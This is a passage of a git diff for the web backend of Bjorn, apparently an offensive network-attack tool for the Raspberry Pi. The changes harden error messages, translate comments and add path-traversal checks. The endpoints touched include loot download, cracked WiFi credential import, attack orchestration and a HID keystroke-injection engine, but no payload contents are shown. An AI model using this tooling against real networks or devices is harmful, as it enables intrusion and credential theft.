handler.wfile.write(json.dumps({"status":"ok"}).encode("utf-8")) except Exception as e: + logger.error(f"Error adding column: {e}") handler.send_response(400); handler.send_header("Content-Type","application/json"); handler.end_headers() - handler.wfile.write(json.dumps({"status":"error","message":str(e)}).encode("utf-8")) + handler.wfile.write(json.dumps({"status":"error","message":"Internal server error"}).encode("utf-8")) - # --- drop/truncate (vue/table) --- + # --- drop/truncate (view/table) --- def db_drop_view_endpoint(self, handler, view_name: str): try: view = self._db_safe_ident(view_name) @@ -403,8 +418,9 @@ class DBUtils: handler.send_response(200); handler.send_header("Content-Type","application/json"); handler.end_headers() handler.wfile.write(json.dumps({"status":"ok"}).encode("utf-8")) except Exception as e: + logger.error(f"Error dropping view: {e}") handler.send_response(400); handler.send_header("Content-Type","application/json"); handler.end_headers() - handler.wfile.write(json.dumps({"status":"error","message":str(e)}).encode("utf-8")) + handler.wfile.write(json.dumps({"status":"error","message":"Internal server error"}).encode("utf-8")) # --- export all (zip CSV/JSON) --- def db_export_all_endpoint(self, handler): @@ -425,7 +441,7 @@ class DBUtils: w.writeheader() for r in rows: w.writerow({c: r.get(c) for c in cols}) z.writestr(f"tables/{name}.csv", sio.getvalue()) - # views (lecture seule) + # views (read-only) for v in self._db_list_views(): name = v["name"] try: @@ -451,8 +467,9 @@ class DBUtils: handler.end_headers() handler.wfile.write(payload) except Exception as e: + logger.error(f"Error exporting database: {e}") handler.send_response(500); handler.send_header("Content-Type","application/json"); handler.end_headers() - handler.wfile.write(json.dumps({"status":"error","message":str(e)}).encode("utf-8")) + handler.wfile.write(json.dumps({"status":"error","message":"Internal server error"}).encode("utf-8")) def db_list_tables_endpoint(self, handler): try: @@ -466,7 +483,7 @@ class DBUtils: handler.send_response(500) handler.send_header("Content-Type", "application/json") handler.end_headers() - handler.wfile.write(json.dumps({"status":"error","message":str(e)}).encode("utf-8")) + handler.wfile.write(json.dumps({"status":"error","message":"Internal server error"}).encode("utf-8")) diff --git a/web_utils/debug_utils.py b/web_utils/debug_utils.py index 8bda032..c4a4f23 100644 --- a/web_utils/debug_utils.py +++ b/web_utils/debug_utils.py @@ -1,8 +1,6 @@ -""" -Debug / Profiling utilities for the Bjorn Debug page. -Exposes process-level and per-thread metrics via /proc (no external deps). -Designed for Pi Zero 2: lightweight reads, no subprocess spawning. -OPTIMIZED: minimal allocations, cached tracemalloc, /proc/self/smaps for C memory. +"""debug_utils.py - Debug/profiling for the Bjorn Debug page. + +Exposes process and per-thread metrics via /proc. Optimized for Pi Zero 2. """ import json @@ -58,7 +56,7 @@ def _fd_count(): def _read_open_files(): - """Read open FDs — reuses a single dict to minimize allocations.""" + """Read open FDs - reuses a single dict to minimize allocations.""" fd_dir = "/proc/self/fd" fd_map = {} try: @@ -141,7 +139,7 @@ def _get_python_threads_rich(): if target is not None: tf = getattr(target, "__qualname__", getattr(target, "__name__", "?")) tm = getattr(target, "__module__", "") - # Source file — use __code__ directly (avoids importing inspect) + # Source file - use __code__ directly (avoids importing inspect) tfile = "" code = getattr(target, "__code__", None) if code: @@ -151,7 +149,7 @@ def _get_python_threads_rich(): tm = "" tfile = "" - # Current stack — top 5 frames, build compact strings directly + # Current stack - top 5 frames, build compact strings directly stack = [] frame = frames.get(ident) depth = 0 @@ -236,7 +234,7 @@ def _read_smaps_rollup(): # --------------------------------------------------------------------------- -# Cached tracemalloc — take snapshot at most every 5s to reduce overhead +# Cached tracemalloc - take snapshot at most every 5s to reduce overhead # --------------------------------------------------------------------------- _tm_cache_lock = threading.Lock() @@ -261,7 +259,7 @@ def _get_tracemalloc_cached(): current, peak = tracemalloc.get_traced_memory() snap = tracemalloc.take_snapshot() - # Single statistics call — use lineno (more useful), derive file-level client-side + # Single statistics call - use lineno (more useful), derive file-level client-side stats_line = snap.statistics("lineno")[:30] top_by_line = [] file_agg = {} diff --git a/web_utils/file_utils.py b/web_utils/file_utils.py index 819f506..0e36793 100644 --- a/web_utils/file_utils.py +++ b/web_utils/file_utils.py @@ -1,8 +1,4 @@ -# web_utils/file_utils.py -""" -File management utilities. -Handles file operations, uploads, downloads, directory management. -""" +"""file_utils.py - File operations, uploads, downloads, and directory management.""" from __future__ import annotations import os import json @@ -76,7 +72,8 @@ class FileUtils: except (BrokenPipeError, ConnectionResetError): return except Exception as e: - error_payload = json.dumps({"status": "error", "message": str(e)}).encode("utf-8") + self.logger.error(f"Error listing files: {e}") + error_payload = json.dumps({"status": "error", "message": "Internal server error"}).encode("utf-8") handler.send_response(500) handler.send_header("Content-Type", "application/json") handler.send_header("Content-Length", str(len(error_payload))) @@ -126,7 +123,7 @@ class FileUtils: handler.end_headers() handler.wfile.write(json.dumps({ "status": "error", - "message": str(e) + "message": "Internal server error" }).encode('utf-8')) def loot_download(self, handler): @@ -158,8 +155,8 @@ class FileUtils: handler.send_header("Content-type", "application/json") handler.end_headers() handler.wfile.write(json.dumps({ - "status": "error", - "message": str(e) + "status": "error", + "message": "Internal server error" }).encode('utf-8')) def download_file(self, handler): @@ -178,10 +175,11 @@ class FileUtils: handler.send_response(404) handler.end_headers() except Exception as e: + self.logger.error(f"Error downloading file: {e}") handler.send_response(500) handler.send_header("Content-type", "application/json") handler.end_headers() - handler.wfile.write(json.dumps({"status": "error", "message": str(e)}).encode('utf-8')) + handler.wfile.write(json.dumps({"status": "error", "message": "Internal server error"}).encode('utf-8')) def create_folder(self, data): """Create a new folder.""" @@ -213,7 +211,15 @@ class FileUtils: current_path = json.loads(data.decode().strip()) break + # Validate currentPath segments to prevent path traversal + for seg in current_path: + if not isinstance(seg, str) or '..' in seg or seg.startswith('/') or seg.startswith('\\'): + raise PermissionError(f"Invalid path segment: {seg}") target_dir = os.path.join(self.shared_data.current_dir, *current_path) + abs_target = os.path.realpath(target_dir) + abs_base = os.path.realpath(self.shared_data.current_dir) + if not abs_target.startswith(abs_base + os.sep) and abs_target != abs_base: + raise PermissionError("Path traversal detected in currentPath") os.makedirs(target_dir, exist_ok=True) uploaded_files = [] @@ -260,7 +266,7 @@ class FileUtils: handler.end_headers() handler.wfile.write(json.dumps({ "status": "error", - "message": str(e) + "message": "Internal server error" }).encode('utf-8')) def delete_file(self, data): @@ -290,7 +296,7 @@ class FileUtils: } except Exception as e: self.logger.error(f"Error deleting file: {str(e)}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def rename_file(self, data): """Rename file or directory.""" @@ -306,10 +312,10 @@ class FileUtils: "message": f"Successfully renamed {old_path} to {new_path}" } except ValueError as e: - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Access denied"} except Exception as e: self.logger.error(f"Error renaming file: {str(e)}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def duplicate_file(self, data): """Duplicate file or directory.""" @@ -330,7 +336,7 @@ class FileUtils: } except Exception as e: self.logger.error(f"Error duplicating file: {str(e)}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def move_file(self, data): """Move file or directory.""" @@ -355,7 +361,7 @@ class FileUtils: return {"status": "success", "message": "Item moved successfully"} except Exception as e: self.logger.error(f"Error moving file: {str(e)}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def list_directories(self, handler): """List directory structure.""" @@ -379,12 +385,13 @@ class FileUtils: handler.end_headers() handler.wfile.write(json.dumps(directory_structure).encode()) except Exception as e: + self.logger.error(f"Error listing directories: {e}") handler.send_response(500) handler.send_header('Content-Type', 'application/json') handler.end_headers() handler.wfile.write(json.dumps({ "status": "error", - "message": str(e) + "message": "Internal server error" }).encode()) def clear_output_folder(self, data=None): @@ -454,4 +461,4 @@ class FileUtils: } except Exception as e: self.logger.error(f"Error clearing output folder: {str(e)}") - return {"status": "error", "message": f"Error clearing output folder: {str(e)}"} \ No newline at end of file + return {"status": "error", "message": "Internal server error"} \ No newline at end of file diff --git a/web_utils/image_utils.py b/web_utils/image_utils.py index 78374fb..092ee83 100644 --- a/web_utils/image_utils.py +++ b/web_utils/image_utils.py @@ -1,4 +1,4 @@ -# image_utils.py +"""image_utils.py - Image upload, processing, and gallery management.""" from __future__ import annotations import os, json, re, shutil, io, logging from io import BytesIO @@ -231,7 +231,7 @@ class ImageUtils: try: ctype, pdict = _parse_header(h.headers.get('Content-Type')) - if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') + if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) @@ -298,11 +298,11 @@ class ImageUtils: try: ctype, pdict = _parse_header(h.headers.get('Content-Type')) - if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') + if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) - if 'web_image' not in form or not getattr(form['web_image'],'filename',''): raise ValueError('Aucun fichier web_image fourni') + if 'web_image' not in form or not getattr(form['web_image'],'filename',''): raise ValueError('No web_image file provided') file_item = form['web_image']; filename = self._safe(file_item.filename) base, ext = os.path.splitext(filename); if ext.lower() not in ALLOWED_IMAGE_EXTS: filename = base + '.png' @@ -332,11 +332,11 @@ class ImageUtils: try: ctype, pdict = _parse_header(h.headers.get('Content-Type')) - if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') + if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) - if 'icon_image' not in form or not getattr(form['icon_image'],'filename',''): raise ValueError('Aucun fichier icon_image fourni') + if 'icon_image' not in form or not getattr(form['icon_image'],'filename',''): raise ValueError('No icon_image file provided') file_item = form['icon_image']; filename = self._safe(file_item.filename) base, ext = os.path.splitext(filename); if ext.lower() not in ALLOWED_IMAGE_EXTS: filename = base + '.png' diff --git a/web_utils/index_utils.py b/web_utils/index_utils.py index 2d59c41..b7e64e8 100644 --- a/web_utils/index_utils.py +++ b/web_utils/index_utils.py @@ -1,4 +1,4 @@ -# webutils/index_utils.py +"""index_utils.py - Dashboard index page data and system status endpoints.""" from __future__ import annotations import os import json @@ -16,7 +16,7 @@ from datetime import datetime from typing import Any, Dict, Tuple -# --------- Singleton module (évite recréation à chaque requête) ---------- +# Singleton module (avoids re-creation on every request) logger = Logger(name="index_utils.py", level=logging.DEBUG) @@ -27,17 +27,17 @@ class IndexUtils: self.db = shared_data.db - # Cache pour l'assemblage de stats (champs dynamiques) + # Stats assembly cache (dynamic fields) self._last_stats: Dict[str, Any] = {} self._last_stats_ts: float = 0.0 self._cache_ttl: float = 5.0 # 5s - # Cache pour l'info système (rarement changeant) + # System info cache (rarely changes) self._system_info_cache: Dict[str, Any] = {} self._system_info_ts: float = 0.0 self._system_cache_ttl: float = 300.0 # 5 min - # Cache wardrive (compte Wi-Fi connus) + # Wardrive cache (known WiFi count) self._wardrive_cache_mem: Optional[int] = None self._wardrive_ts_mem: float = 0.0 self._wardrive_ttl: float = 600.0 # 10 min @@ -55,14 +55,14 @@ class IndexUtils: return 0, 0 def _open_fds_count(self) -> int: - """Compte le nombre de file descriptors ouverts (proc global).""" + """Count total open file descriptors (global /proc).""" try: return len(glob.glob("/proc/*/fd/*")) except Exception as e: # self.logger.debug(f"FD probe error: {e}") return 0 - # ---------------------- Helpers JSON ---------------------- + # ---------------------- JSON helpers ---------------------- def _to_jsonable(self, obj): if obj is None or isinstance(obj, (bool, int, float, str)): return obj @@ -80,7 +80,7 @@ class IndexUtils: def _json(self, handler, code: int, obj): payload = json.dumps(self._to_jsonable(obj), ensure_ascii=False).encode("utf-8") handler.send_response(code) - handler.send_header("Content-Type", "application/json") + handler.send_header("Content-Type", "application/json; charset=utf-8") handler.send_header("Content-Length", str(len(payload))) handler.end_headers() try: @@ -96,7 +96,7 @@ class IndexUtils: except Exception: return None - # ---------------------- Config store ---------------------- + # ---------------------- Config store ------------------------- def _cfg_get(self, key: str, default=None): try: row = self.db.query_one("SELECT value FROM config WHERE key=? LIMIT 1;", (key,)) @@ -123,7 +123,7 @@ class IndexUtils: (key, s), ) - # ---------------------- Info système ---------------------- + # ---------------------- System info ---------------------- def _get_system_info(self) -> Dict[str, Any]: now = time.time() if self._system_info_cache and (now - self._system_info_ts) < self._system_cache_ttl: @@ -171,7 +171,7 @@ class IndexUtils: return platform.machine() def _check_epd_connected(self) -> bool: - # I2C puis fallback SPI + # I2C first, fallback to SPI try: result = subprocess.run(["i2cdetect", "-y", "1"], capture_output=True, text=True, timeout=1) if result.returncode == 0: @@ -266,7 +266,7 @@ class IndexUtils: # self.logger.debug(f"Battery probe error: {e}") return {"present": False} - # ---------------------- Réseau ---------------------- + # ---------------------- Network ---------------------- def _quick_internet(self, timeout: float = 1.0) -> bool: try: for server in ["1.1.1.1", "8.8.8.8"]: @@ -499,7 +499,7 @@ class IndexUtils: except Exception: return 0 - # ---------------------- Wi-Fi connus (profils NM) ---------------------- + # ---------------------- Known WiFi (NM profiles) ---------------------- def _run_nmcli(self, args: list[str], timeout: float = 4.0) -> Optional[str]: import shutil, os as _os nmcli_path = shutil.which("nmcli") or "/usr/bin/nmcli" @@ -520,14 +520,14 @@ class IndexUtils: # self.logger.debug(f"nmcli rc={out.returncode} args={args} stderr={(out.stderr or '').strip()}") return None except FileNotFoundError: - # self.logger.debug("nmcli introuvable") + # self.logger.debug("nmcli not found") return None except Exception as e: # self.logger.debug(f"nmcli exception {args}: {e}") return None def _known_wifi_count_nmcli(self) -> int: - # Try 1: simple (une valeur par ligne) + # Try 1: simple (one value per line) out = self._run_nmcli(["-t", "-g", "TYPE", "connection", "show"]) if out: cnt = sum(1 for line in out.splitlines() @@ -573,20 +573,20 @@ class IndexUtils: except Exception: pass - # Dernier recours: config persistée + # Last resort: persisted config value v = self._cfg_get("wardrive_known", 0) # self.logger.debug(f"known wifi via cfg fallback = {v}") return int(v) if isinstance(v, (int, float)) else 0 - # Cache wardrive: mémoire (par process) + DB (partagé multi-workers) + # Wardrive cache: in-memory (per-process) + DB (shared across workers) def _wardrive_known_cached(self) -> int: now = time.time() - # 1) cache mémoire + # 1) in-memory cache if self._wardrive_cache_mem is not None and (now - self._wardrive_ts_mem) < self._wardrive_ttl: return int(self._wardrive_cache_mem) - # 2) cache partagé en DB + # 2) shared DB cache try: row = self.db.query_one("SELECT value FROM config WHERE key='wardrive_cache' LIMIT 1;") if row and row.get("value"): @@ -600,17 +600,17 @@ class IndexUtils: except Exception: pass - # 3) refresh si nécessaire + # 3) refresh if needed val = int(self._known_wifi_count_nmcli()) - # maj caches + # update caches self._wardrive_cache_mem = val self._wardrive_ts_mem = now self._cfg_set("wardrive_cache", {"val": val, "ts": now}) return val - # ---------------------- Accès direct shared_data ---------------------- + # ---------------------- Direct shared_data access ---------------------- def _count_open_ports_total(self) -> int: try: val = int(getattr(self.shared_data, "port_count", -1)) @@ -677,7 +677,7 @@ class IndexUtils: except Exception: return str(self._cfg_get("bjorn_mode", "AUTO")).upper() - # ---------------------- Delta vuln depuis dernier scan ---------------------- + # ---------------------- Vuln delta since last scan ---------------------- def _vulns_delta(self) -> int: last_scan_ts = self._cfg_get("vuln_last_scan_ts") if not last_scan_ts: @@ -707,7 +707,7 @@ class IndexUtils: except Exception: return 0 - # ---------------------- Assemblage principal ---------------------- + # ---------------------- Main stats assembly ---------------------- def _assemble_stats(self) -> Dict[str, Any]: now = time.time() if self._last_stats and (now - self._last_stats_ts) < self._cache_ttl: @@ -725,7 +725,7 @@ class IndexUtils: scripts_count = self._scripts_count() wardrive = self._wardrive_known_cached() - # Système + # System sys_info = self._get_system_info() uptime = self._uptime_str() first_init = self._first_init_ts() @@ -741,7 +741,7 @@ class IndexUtils: # Batterie batt = self._battery_probe() - # Réseau + # Network internet_ok = self._quick_internet() gw, dns = self._gw_dns() wifi_ip = self._ip_for("wlan0") @@ -775,12 +775,12 @@ class IndexUtils: "bjorn_level": bjorn_level, "internet_access": bool(internet_ok), - # Hôtes & ports + # Hosts & ports "known_hosts_total": int(total), "alive_hosts": int(alive), "open_ports_alive_total": int(open_ports_total), - # Comptes sécurité + # Security counters "wardrive_known": int(wardrive), "vulnerabilities": int(vulns_total), "vulns_delta": int(vulns_delta), @@ -918,35 +918,35 @@ class IndexUtils: def reload_generate_actions_json(self, handler): - """Recharge le fichier actions.json en exécutant generate_actions_json.""" + """Reload actions.json by running generate_actions_json.""" try: self.shared_data.generate_actions_json() handler.send_response(200) - handler.send_header('Content-Type', 'application/json') + handler.send_header('Content-Type', 'application/json; charset=utf-8') handler.end_headers() handler.wfile.write(json.dumps({'status': 'success', 'message': 'actions.json reloaded successfully.'}).encode('utf-8')) except Exception as e: self.logger.error(f"Error in reload_generate_actions_json: {e}") handler.send_response(500) - handler.send_header('Content-Type', 'application/json') + handler.send_header('Content-Type', 'application/json; charset=utf-8') handler.end_headers() handler.wfile.write(json.dumps({'status': 'error', 'message': str(e)}).encode('utf-8')) def clear_shared_config_json(self, handler, restart=True): - """Reset config à partir des defaults, en DB.""" + """Reset config to defaults in DB.""" try: self.shared_data.config = self.shared_data.get_default_config() self.shared_data.save_config() # -> DB if restart: self.restart_bjorn_service(handler) handler.send_response(200) - handler.send_header("Content-type","application/json") + handler.send_header("Content-Type", "application/json; charset=utf-8") handler.end_headers() handler.wfile.write(json.dumps({"status":"success","message":"Configuration reset to defaults"}).encode("utf-8")) except Exception as e: handler.send_response(500) - handler.send_header("Content-type","application/json") + handler.send_header("Content-Type", "application/json; charset=utf-8") handler.end_headers() handler.wfile.write(json.dumps({"status":"error","message":str(e)}).encode("utf-8")) @@ -968,7 +968,7 @@ class IndexUtils: def serve_manifest(self, handler): handler.send_response(200) - handler.send_header("Content-type", "application/json") + handler.send_header("Content-Type", "application/json; charset=utf-8") handler.end_headers() manifest_path = os.path.join(self.shared_data.web_dir, 'manifest.json') try: @@ -992,7 +992,7 @@ class IndexUtils: - # --- Nouveaux probes "radio / link" --- + # --- Radio / link probes --- def _wifi_radio_on(self) -> bool: # nmcli (NetworkManager) try: @@ -1019,7 +1019,7 @@ class IndexUtils: btctl = shutil.which("bluetoothctl") or "/usr/bin/bluetoothctl" env = _os.environ.copy() env.setdefault("PATH", "/usr/sbin:/usr/bin:/sbin:/bin") - # important quand on tourne en service systemd + # needed when running as a systemd service env.setdefault("DBUS_SYSTEM_BUS_ADDRESS", "unix:path=/run/dbus/system_bus_socket") try: @@ -1027,7 +1027,7 @@ class IndexUtils: if out.returncode == 0: txt = (out.stdout or "").lower() if "no default controller available" in txt: - # Essayer de lister et cibler le premier contrôleur + # Try listing and targeting the first controller ls = subprocess.run([btctl, "list"], capture_output=True, text=True, timeout=1.2, env=env) if ls.returncode == 0: for line in (ls.stdout or "").splitlines(): @@ -1038,7 +1038,7 @@ class IndexUtils: if sh.returncode == 0 and "powered: yes" in (sh.stdout or "").lower(): return True return False - # cas normal + # normal case if "powered: yes" in txt: return True except Exception: @@ -1068,7 +1068,7 @@ class IndexUtils: return ("STATE UP" in t) or ("LOWER_UP" in t) except Exception: pass - # ethtool (si dispo) + # ethtool fallback try: out = subprocess.run(["ethtool", ifname], capture_output=True, text=True, timeout=1) if out.returncode == 0: @@ -1080,7 +1080,7 @@ class IndexUtils: return False def _usb_gadget_active(self) -> bool: - # actif si un UDC est attaché + # active if a UDC is attached try: udc = self._read_text("/sys/kernel/config/usb_gadget/g1/UDC") return bool(udc and udc.strip()) diff --git a/web_utils/llm_utils.py b/web_utils/llm_utils.py index ab54499..fcf467d 100644 --- a/web_utils/llm_utils.py +++ b/web_utils/llm_utils.py @@ -1,7 +1,4 @@ -# web_utils/llm_utils.py -# HTTP endpoints for LLM chat, LLM bridge config, and MCP server config. -# Follows the same pattern as all other web_utils classes in this project. - +"""llm_utils.py - HTTP endpoints for LLM chat, bridge config, and MCP server config.""" import json import uuid from typing import Any, Dict diff --git a/web_utils/loki_utils.py b/web_utils/loki_utils.py index 8f2a8d2..2b48db3 100644 --- a/web_utils/loki_utils.py +++ b/web_utils/loki_utils.py @@ -1,6 +1,4 @@ -""" -Loki web API endpoints. -""" +"""loki_utils.py - Loki web API endpoints.""" import os import json import logging @@ -23,7 +21,7 @@ class LokiUtils: # ── GET endpoints (handler signature) ───────────────────── def get_status(self, handler): - """GET /api/loki/status — engine state.""" + """GET /api/loki/status - engine state.""" engine = self._engine if engine: data = engine.get_status() @@ -36,7 +34,7 @@ class LokiUtils: self._send_json(handler, data) def get_scripts(self, handler): - """GET /api/loki/scripts — user-saved scripts.""" + """GET /api/loki/scripts - user-saved scripts.""" try: rows = self.shared_data.db.query( "SELECT id, name, description, category, target_os, " @@ -48,7 +46,7 @@ class LokiUtils: self._send_json(handler, {'scripts': []}) def get_script(self, handler): - """GET /api/loki/script?id=N — single script with content.""" + """GET /api/loki/script?id=N - single script with content.""" try: qs = parse_qs(urlparse(handler.path).query) script_id = int(qs.get('id', [0])[0]) @@ -64,7 +62,7 @@ class LokiUtils: self._send_json(handler, {'error': str(e)}, 500) def get_jobs(self, handler): - """GET /api/loki/jobs — job list.""" + """GET /api/loki/jobs - job list.""" engine = self._engine if engine: jobs = engine.get_jobs() @@ -73,7 +71,7 @@ class LokiUtils: self._send_json(handler, {'jobs': jobs}) def get_payloads(self, handler): - """GET /api/loki/payloads — built-in payload list.""" + """GET /api/loki/payloads - built-in payload list.""" payloads = [] payload_dir = os.path.join( os.path.dirname(os.path.dirname(os.path.abspath(__file__))), @@ -104,7 +102,7 @@ class LokiUtils: self._send_json(handler, {'payloads': payloads}) def get_layouts(self, handler): - """GET /api/loki/layouts — available keyboard layouts.""" + """GET /api/loki/layouts - available keyboard layouts.""" try: from loki.layouts import available layouts = available() @@ -115,7 +113,7 @@ class LokiUtils: # ── POST endpoints (JSON data signature) ────────────────── def toggle_loki(self, data: Dict) -> Dict: - """POST /api/loki/toggle — switch to/from LOKI mode.""" + """POST /api/loki/toggle - switch to/from LOKI mode.""" enabled = bool(data.get('enabled', False)) if enabled: self.shared_data.operation_mode = "LOKI" @@ -124,7 +122,7 @@ class LokiUtils: return {'status': 'ok', 'enabled': enabled} def save_script(self, data: Dict) -> Dict: - """POST /api/loki/script/save — save/update a script.""" + """POST /api/loki/script/save - save/update a script.""" try: script_id = data.get('id') name = data.get('name', '').strip() @@ -154,7 +152,7 @@ class LokiUtils: return {'status': 'error', 'message': str(e)} def delete_script(self, data: Dict) -> Dict: - """POST /api/loki/script/delete — delete a script.""" + """POST /api/loki/script/delete - delete a script.""" try: script_id = data.get('id') if script_id: @@ -166,7 +164,7 @@ class LokiUtils: return {'status': 'error', 'message': str(e)} def run_script(self, data: Dict) -> Dict: - """POST /api/loki/script/run — execute a HIDScript.""" + """POST /api/loki/script/run - execute a HIDScript.""" engine = self._engine if not engine: return {'status': 'error', 'message': 'Loki engine not available'} @@ -185,7 +183,7 @@ class LokiUtils: return {'status': 'error', 'message': str(e)} def cancel_job(self, data: Dict) -> Dict: - """POST /api/loki/job/cancel — cancel a running job.""" + """POST /api/loki/job/cancel - cancel a running job.""" engine = self._engine if not engine: return {'status': 'error', 'message': 'Loki engine not available'} @@ -195,20 +193,20 @@ class LokiUtils: return {'status': 'error', 'message': 'Job not found'} def clear_jobs(self, data: Dict) -> Dict: - """POST /api/loki/jobs/clear — clear completed jobs.""" + """POST /api/loki/jobs/clear - clear completed jobs.""" engine = self._engine if engine and engine._jobs: engine.job_manager.clear_completed() return {'status': 'ok'} def install_gadget(self, data: Dict) -> Dict: - """POST /api/loki/install — install HID gadget boot script.""" + """POST /api/loki/install - install HID gadget boot script.""" from loki import LokiEngine result = LokiEngine.install_hid_gadget() return result def reboot(self, data: Dict) -> Dict: - """POST /api/loki/reboot — reboot the Pi to activate HID gadget.""" + """POST /api/loki/reboot - reboot the Pi to activate HID gadget.""" import subprocess try: logger.info("Reboot requested by Loki setup") @@ -218,7 +216,7 @@ class LokiUtils: return {'status': 'error', 'message': str(e)} def quick_type(self, data: Dict) -> Dict: - """POST /api/loki/quick — quick-type text without a full script.""" + """POST /api/loki/quick - quick-type text without a full script.""" engine = self._engine if not engine or not engine._running: return {'status': 'error', 'message': 'Loki not running'} diff --git a/web_utils/netkb_utils.py b/web_utils/netkb_utils.py index 07d72f3..26b8367 100644 --- a/web_utils/netkb_utils.py +++ b/web_utils/netkb_utils.py @@ -1,8 +1,4 @@ -# web_utils/netkb_utils.py -""" -Network Knowledge Base utilities. -Handles network discovery data, host information, and action queue management. -""" +"""netkb_utils.py - Network discovery data, host info, and action queue management.""" from __future__ import annotations import json from typing import Any, Dict, Optional @@ -23,13 +19,20 @@ class NetKBUtils: try: hosts = self.shared_data.db.get_all_hosts() actions_meta = self.shared_data.db.list_actions() - action_names = [a["b_class"] for a in actions_meta] + builtin_actions = [] + custom_actions = [] + for a in actions_meta: + if a.get("b_action") == "custom" or (a.get("b_module") or "").startswith("custom/"): + custom_actions.append(a["b_class"]) + else: + builtin_actions.append(a["b_class"]) alive = [h for h in hosts if int(h.get("alive") or 0) == 1] response_data = { "ips": [h.get("ips", "") for h in alive], "ports": {h.get("ips", ""): (h.get("ports", "") or "").split(';') for h in alive}, - "actions": action_names + "actions": builtin_actions, + "custom_actions": custom_actions, } handler.send_response(200) handler.send_header("Content-type", "application/json") diff --git a/web_utils/network_utils.py b/web_utils/network_utils.py index 0b88aea..4140081 100644 --- a/web_utils/network_utils.py +++ b/web_utils/network_utils.py @@ -1,7 +1,5 @@ -# web_utils/network_utils.py -""" -Network utilities for WiFi/network operations. -Handles WiFi scanning, connection, known networks management. +"""network_utils.py - WiFi scanning, connection, and known networks management. + Compatible with both legacy NM keyfiles and Trixie netplan. """ from __future__ import annotations @@ -48,7 +46,7 @@ class NetworkUtils: Uses nmcli terse output. On Trixie, netplan-generated profiles (named ``netplan-wlan0-*``) appear alongside user-created NM - profiles — both are returned. + profiles - both are returned. """ try: result = self._run( @@ -60,7 +58,7 @@ class NetworkUtils: for line in result.stdout.strip().splitlines(): if not line.strip(): continue - # nmcli -t uses ':' as delimiter — SSIDs with ':' are + # nmcli -t uses ':' as delimiter - SSIDs with ':' are # escaped by nmcli (backslash-colon), so split from # the right to be safe: last field = priority, # second-to-last = type, rest = name. @@ -205,7 +203,7 @@ class NetworkUtils: continue # Split from the right: IN-USE (last), SECURITY, SIGNAL, rest=SSID - # IN-USE is '*' or '' — always one char field at the end + # IN-USE is '*' or '' - always one char field at the end parts = line.rsplit(':', 3) if len(parts) < 4: continue @@ -302,7 +300,7 @@ class NetworkUtils: def import_potfiles(self, data=None): """Import WiFi credentials from .pot/.potfile files. - Creates NM connection profiles via nmcli — these are stored + Creates NM connection profiles via nmcli - these are stored in /etc/NetworkManager/system-connections/ and persist across reboots on both legacy and Trixie builds. """ @@ -403,7 +401,7 @@ class NetworkUtils: os.remove(path) self.logger.info("Deleted preconfigured.nmconnection") else: - self.logger.info("preconfigured.nmconnection not found (Trixie/netplan — this is normal)") + self.logger.info("preconfigured.nmconnection not found (Trixie/netplan - this is normal)") self._json_response(handler, 200, {"status": "success"}) except Exception as e: self.logger.error(f"Error deleting preconfigured file: {e}") @@ -415,7 +413,7 @@ class NetworkUtils: On Trixie this is a no-op: Wi-Fi is managed by netplan. Returns success regardless to avoid breaking the frontend. """ - self.logger.warning("create_preconfigured_file called — no-op on Trixie/netplan builds") + self.logger.warning("create_preconfigured_file called - no-op on Trixie/netplan builds") self._json_response(handler, 200, { "status": "success", "message": "No action needed on netplan-managed builds", @@ -428,7 +426,7 @@ class NetworkUtils: Accepts multipart/form-data with a 'potfile' field. Saves to shared_data.potfiles_dir. - Manual multipart parsing — no cgi module (removed in Python 3.13). + Manual multipart parsing - no cgi module (removed in Python 3.13). """ try: content_type = handler.headers.get("Content-Type", "") diff --git a/web_utils/orchestrator_utils.py b/web_utils/orchestrator_utils.py index 0496fed..29e405a 100644 --- a/web_utils/orchestrator_utils.py +++ b/web_utils/orchestrator_utils.py @@ -1,8 +1,4 @@ -# web_utils/orchestrator_utils.py -""" -Orchestrator management utilities. -Handles attack execution, scanning, and credential management. -""" +"""orchestrator_utils.py - Attack execution, scanning, and credential management.""" from __future__ import annotations import json import html diff --git a/web_utils/package_utils.py b/web_utils/package_utils.py new file mode 100644 index 0000000..c5fdb83 --- /dev/null +++ b/web_utils/package_utils.py @@ -0,0 +1,171 @@ +"""package_utils.py - Package installation, listing, and removal endpoints.""" +from __future__ import annotations +import json +import logging +import os +import re +import subprocess +import time +from typing import Any, Dict + +from logger import Logger + +logger = Logger(name="package_utils.py", level=logging.DEBUG) + +# Regex: alphanumeric, hyphens, underscores, dots, brackets (for extras like pkg[extra]) +_VALID_PACKAGE_NAME = re.compile(r'^[a-zA-Z0-9_\-\.]+(\[[a-zA-Z0-9_\-\.,]+\])?$') + + +class PackageUtils: + """Utilities for pip package management.""" + + def __init__(self, shared_data): + self.logger = logger + self.shared_data = shared_data + + # ========================================================================= + # JSON ENDPOINTS + # ========================================================================= + + def list_packages_json(self, data: Dict) -> Dict: + """Return all tracked packages.""" + try: + packages = self.shared_data.db.list_packages() + return {"status": "success", "data": 